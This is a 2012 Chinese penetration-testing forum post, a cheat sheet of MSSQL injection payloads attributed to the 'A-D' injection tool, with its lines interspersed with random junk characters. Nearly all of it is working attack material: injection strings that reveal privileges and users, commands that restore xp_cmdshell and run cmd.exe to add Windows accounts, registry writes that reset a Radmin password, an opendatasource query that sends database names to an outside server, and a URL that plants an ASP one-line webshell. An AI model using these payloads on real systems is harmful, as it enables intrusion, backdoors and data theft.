中国网络渗透测试联盟

标题: 阿D常用的一些注入命令 [打印本页]

作者: admin    时间: 2012-9-13 17:26
标题: 阿D常用的一些注入命令
阿D常用的一些注入命令% t3 s: p& l/ ~9 v9 _
//看看是什么权限的# \! T& I7 ^# ?. a  v- @8 t  `8 v
and 1=(Select IS_MEMBER('db_owner'))
' H: H: G- t+ B& RAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--% H4 s% v% E( E, i# H: a
5 |( r$ i7 y: t
//检测是否有读取某数据库的权限
6 p' }7 U9 g2 h' Eand 1= (Select HAS_DBACCESS('master'))
, t! w8 U0 K& |; X' R5 ~And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --4 F6 @' [  W: y" Q" y' h

& }/ N7 c- V4 k4 g9 U! e
; d( `7 y# `" v5 Z8 ^1 J. Y数字类型
1 H! Y+ R+ j) w6 ]and char(124)%2Buser%2Bchar(124)=0
( L; {/ d+ X' l8 @4 c# R: N+ E
. ~! g' I3 Y" m- L字符类型+ ?5 ~% O: ]# r: {
' and char(124)%2Buser%2Bchar(124)=0 and ''=', r7 C7 ^% R- q) r8 J0 \1 S

9 V( w* c: |, e搜索类型9 ], F. O4 l7 j3 }9 Z
' and char(124)%2Buser%2Bchar(124)=0 and '%'='6 h& s* T! ]7 H) g3 Y
6 X/ ~& K+ H  t: k5 b
爆用户名
7 U8 ^' F2 ~  a7 Pand user>0
# y* g; i' ^" v/ I* z4 B7 p, o' and user>0 and ''='. M& Q3 `5 n2 L/ }1 ~0 C- h/ s

" `1 d7 [, Y, p1 p1 m. T检测是否为SA权限+ k0 U/ Y' t$ U; m( W( W! K* e* B
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 u! T$ r- z  J4 \! \% v, vAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
8 ?  I' w$ i/ h5 f+ @
$ W; [' b% t" r# e! S6 j0 _检测是不是MSSQL数据库6 l: [4 e( \, G7 d/ p+ B7 U* [
and exists (select * from sysobjects);--
1 ]& l! x6 g* X4 X1 G
3 _. E; `; ]9 B2 ~5 x检测是否支持多行- s8 w, y) f! l& b* p" |
;declare @d int;-- 3 K8 w4 |6 V% H$ b$ a% k
+ O- g, N# o5 F! {+ p3 g6 }
恢复 xp_cmdshell, A7 t& e9 z% f  l( J
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
# U8 M# x; z3 I; Y4 G% W6 q2 }) |; z9 x& H0 R
. [2 L( l' T- e3 [1 b3 t" S
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') / J% `$ J. w+ S' i! q& h" [3 n
' F0 d' q& E( |$ O4 t( z
//-----------------------
  a9 k. i) J" S0 X$ {# n/ c* `6 @//      执行命令& S$ @- k( w# }
//-----------------------+ S, r5 g3 `; a8 H' H4 m5 _
首先开启沙盘模式:. ^/ n  U5 l5 T% z6 ?
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( |& M: s. p. Y* O1 K% K8 t
$ j# j( g3 ]5 C# J然后利用jet.oledb执行系统命令5 h( T. b2 W% [" ^9 J4 X9 \3 {3 q
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
! ?6 v' _+ C, @1 \! K1 ?) Q* N/ P2 m" S+ B7 X  P
执行命令7 d0 B, @" e0 @: J! i1 u, Y, ^8 G' U6 _
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
! T& C$ U& G) E6 V$ l# z
: q3 `8 t7 y& GEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
8 Q5 C6 N- }5 a9 @+ n6 _, B) d2 Q2 l
判断xp_cmdshell扩展存储过程是否存在:9 D  V3 B, _6 R9 x; B5 P- O
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
$ h9 }3 H9 N4 D7 }7 w! F8 Z6 y* a  Q( V! p
写注册表: h! @# @7 u, W. f4 {
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
, [0 b: ?/ x! v$ H
% I, P/ P7 W' B. U& T4 s2 ^% R* [" @REG_SZ
7 n" z7 X# ]* m
. X% n- v& U" k1 u/ @5 r, a读注册表
4 \3 w- ?/ ?- r8 I; ^9 |+ _exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
8 o, H3 @" V1 s3 k; b* F% j# Q! p0 c1 U. ?# F2 v
读取目录内容
- T2 Q) ~8 t1 a. l2 zexec master..xp_dirtree 'c:\winnt\system32\',1,13 m( {! h% q  P! d! s7 ~

# v& n* L# u6 B) `8 V( F7 z- _# a, T" Y0 Z
数据库备份
3 u; c% Y, u1 _backup database pubs to disk = 'c:\123.bak'
+ m$ f( y1 `7 U8 B; V! R& y9 h' p) I$ L
//爆出长度
, j- N2 B& q/ O, i( ]And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--! m2 P3 W  N" O: t( C2 v  T& a

9 ~; p1 G. {/ f. k. w8 u) L/ z" w3 o* m+ A' B4 i

+ l( G) O! z" [+ i' k! u0 i' ^" c更改sa口令方法:用sql综合利用工具连接后,执行命令:
  H2 n7 ~- c) g* c2 y" d! ^( ~exec sp_password NULL,'新密码','sa'
+ G* b/ g- `9 J! E5 \* t8 _& u1 d. S" X( A: V6 s% }/ T' w
添加和删除一个SA权限的用户test:; _6 M) `% s0 E4 f
exec master.dbo.sp_addlogin test,ptlove
2 h' _. ~+ D) Cexec master.dbo.sp_addsrvrolemember test,sysadmin7 Z3 g) B5 s7 S$ @

5 X/ @' A8 P2 |) c7 V! N( ^' W删除扩展存储过过程xp_cmdshell的语句:
) O  Z1 _; j0 h  ]  x1 ^. Rexec sp_dropextendedproc 'xp_cmdshell'
5 h  M3 @* _2 F( U; g9 ]
' @5 O6 o3 a* A2 i! O) y  |8 g添加扩展存储过过程$ \7 _: Y7 B. d9 ?
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' , |$ g* D0 g! V6 E
GRANT exec On xp_proxiedadata TO public
( D' W( i% W: U; e4 D, V
% l& u* ~8 p$ y+ V5 ?" b8 ~  X' Z5 z, \0 R' |
停掉或激活某个服务。
; r" R2 S( W% l/ _) Y( _' i3 r6 [2 v& W4 W9 S2 C
exec master..xp_servicecontrol 'stop','schedule'
: H, O0 a: C2 u4 M6 ~' texec master..xp_servicecontrol 'start','schedule'
  Y. y. w$ _( f1 F
7 m  @" L6 l1 K" u* i, odbo.xp_subdirs
: O; E2 o9 m" N4 R$ d- n: Q
9 K( [- t" i, B. o$ m& D3 K' V只列某个目录下的子目录。
2 y9 X" ~% _" T  qxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'8 e% }1 Z. x( p- m: \
- `+ h% W' |( [8 N) a0 ]# F. N
dbo.xp_makecab
. C& z% I2 _) ^9 A. H
9 H* {8 X' p: j; K! o. F将目标多个档案压缩到某个目标档案之内。
( r+ w! t# k" f) ^( a6 R5 K所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。( M6 _8 f; r( x/ Z' |/ P' G
' ?$ q1 M+ I- D% K0 n
dbo.xp_makecab8 [' y$ O8 {+ l7 s/ U
'c:\test.cab','mszip',1,
4 ^0 ~) S. M  A0 ^/ H) @: P( Z'C:\Inetpub\wwwroot\SQLInject\login.asp',
( u. X# Y8 B1 i/ J+ C' B'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
  ^2 Y# ~- z$ H: f9 `! L) J7 u' Q6 a' W& x* j" w
xp_terminate_process! N9 {* u; B9 g1 S. `- U  d

# {' ^8 V/ v+ ?( `4 `停掉某个执行中的程序,但赋予的参数是 Process ID。* p! ]5 P! y6 `% r; K
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
' s8 Y8 e( C8 Y4 D0 O8 t- @
0 Z: T0 s' ?0 x$ ixp_terminate_process 2484' G# L0 F* }8 |& V& @

2 E7 d/ O, j3 g/ Xxp_unpackcab. a+ s* e9 q* V, Q5 O/ b
$ p2 ~0 [4 j, n" {
解开压缩档。6 Y  x7 i" l$ {" y, \. D, Z2 q; R, q

/ c( j( x3 q3 _1 \5 \xp_unpackcab 'c:\test.cab','c:\temp',1( o4 e( G/ V  j" P; U

5 A4 f- q" ^  K- S2 R- d- D
5 m8 d. h1 \8 Y) v* x. g! ?$ R$ ~2 f9 {! o某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234! ^, P2 Q1 m3 J) t5 m7 W* p- k
4 g$ V" @5 M; t) V& S
create database lcx;
/ I3 f: D0 j3 p) o( oCreate TABLE ku(name nvarchar(256) null);
" _, a9 t* D" [# @4 o! XCreate TABLE biao(id int NULL,name nvarchar(256) null);
' i, B# F1 b) W7 t; G# A0 @
. E. P" O8 O7 L6 ~0 \7 Y//得到数据库名- e/ \& j" G% j2 P  c7 v" D
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases% V& e6 @4 A, y2 g4 k9 y& \
. p+ S2 z5 |; y6 o# ^; W! e& d
+ ]2 _$ p2 l2 F: S- v
//在Master中创建表,看看权限怎样% z  b* b% T0 p$ q6 c$ s* e+ t
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
  z- Z3 K, Y; j5 S/ {* o7 h/ [2 s) L( r* q: @$ [
用 sp_makewebtask直接在web目录里写入一句话马:
) V# a6 i3 b# _3 a( |+ @8 Ehttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--# d. w  N3 d% S, @  D3 P5 P, a
7 [% t8 ]' _* w
//更新表内容) S) r: n. b/ q( D$ v* `
Update films SET kind = 'Dramatic' Where id = 123( F' v- Y4 V$ _* o2 V$ e# T- x+ V
: i! m& f" M# F
//删除内容# ~4 Z! x1 B6 j1 T
delete from table_name where Stockid = 3




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2